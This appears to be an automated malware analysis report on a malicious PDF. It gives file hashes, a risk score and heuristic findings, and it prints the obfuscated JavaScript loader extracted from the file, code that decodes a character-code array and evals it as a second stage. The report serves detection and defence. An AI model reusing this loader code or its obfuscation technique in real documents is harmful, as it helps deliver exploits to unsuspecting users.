Malicious PDF — malware analysis report

Static analysis result for SHA-256 ae324a6ba830d8dd…

MALICIOUS

PDF

45.0 KB First seen: 2026-05-09
MD5: ca328d7b80af6cb972a7014a57f609a6 SHA-1: 4e252c9031dd909d13735dd96019c1b2779fa666 SHA-256: ae324a6ba830d8dde349be31da1bddee52d1029c7bfad6703e03b00bcfbc06b4
86 Risk Score

Malware Insights

The PDF document was flagged as malicious by an ML classifier with high confidence. Static analysis revealed embedded JavaScript, a common technique for executing malicious code within documents. The presence of JavaScript actions and embedded JS streams indicates an attempt to run code, likely to download and execute a second-stage payload. No specific family could be identified, but the techniques suggest a downloader or exploit delivery mechanism.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 3

  • Obfuscated Pidief-style JavaScript loader (stage not decoded) high CVE related PDF_PIDIEF_OBFUSCATED_VERSION_GATED_LOADER
    PDF JavaScript carries a large opaque encoded stage (a letter-delimited numeric character-code array) that is built to be decoded and eval'd, but no exact Adobe Reader CVE could be attributed because the encoding scheme resisted full static decoding. This is the structural fingerprint of the Pidief / multi-CVE exploit-kit loader family — a version-gated obfuscated JavaScript stage with no benign use. Flagged suspicious on its own; an ML/AV signal or a recovered heap-spray pushes it to malicious.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0xB11E 492 bytes
SHA-256: ca62568cf2dabe97ccf02bdf3850f001994b5d36e2c6827a292c38f9b6f4922f
Preview script
First 1,000 lines of the extracted script
zsfbq='';
v='s'+'u';
try{try{qwe()}catch(a){gsdg()}}catch(e){v+=('wqg','b'+'st');}
qwe = ('webweb',v)[v+'r'];
t='le';
b='v';
a=["e","a","n","b","w",b,'r'];
e=(t,qwe)()[a[0]+b+a[1]+(a,t[0])];
stuw=e('ti'+'tle');
s=stuw.substr(t.length + 8,3)+'str';
q=stuw[s](1,(1,t.length + 7));
gjan=e('S'+'tring.fro'+q);
q=stuw[s](14).split('u');;
e('k=q.length');
for (i = 0; i != k; i+=2) {
	obuzy = parseInt(q[i+1]) + parseInt(('erybjkerl',q[i]));
	zsfbq += gjan(obuzy);
}
e(zsfbq);

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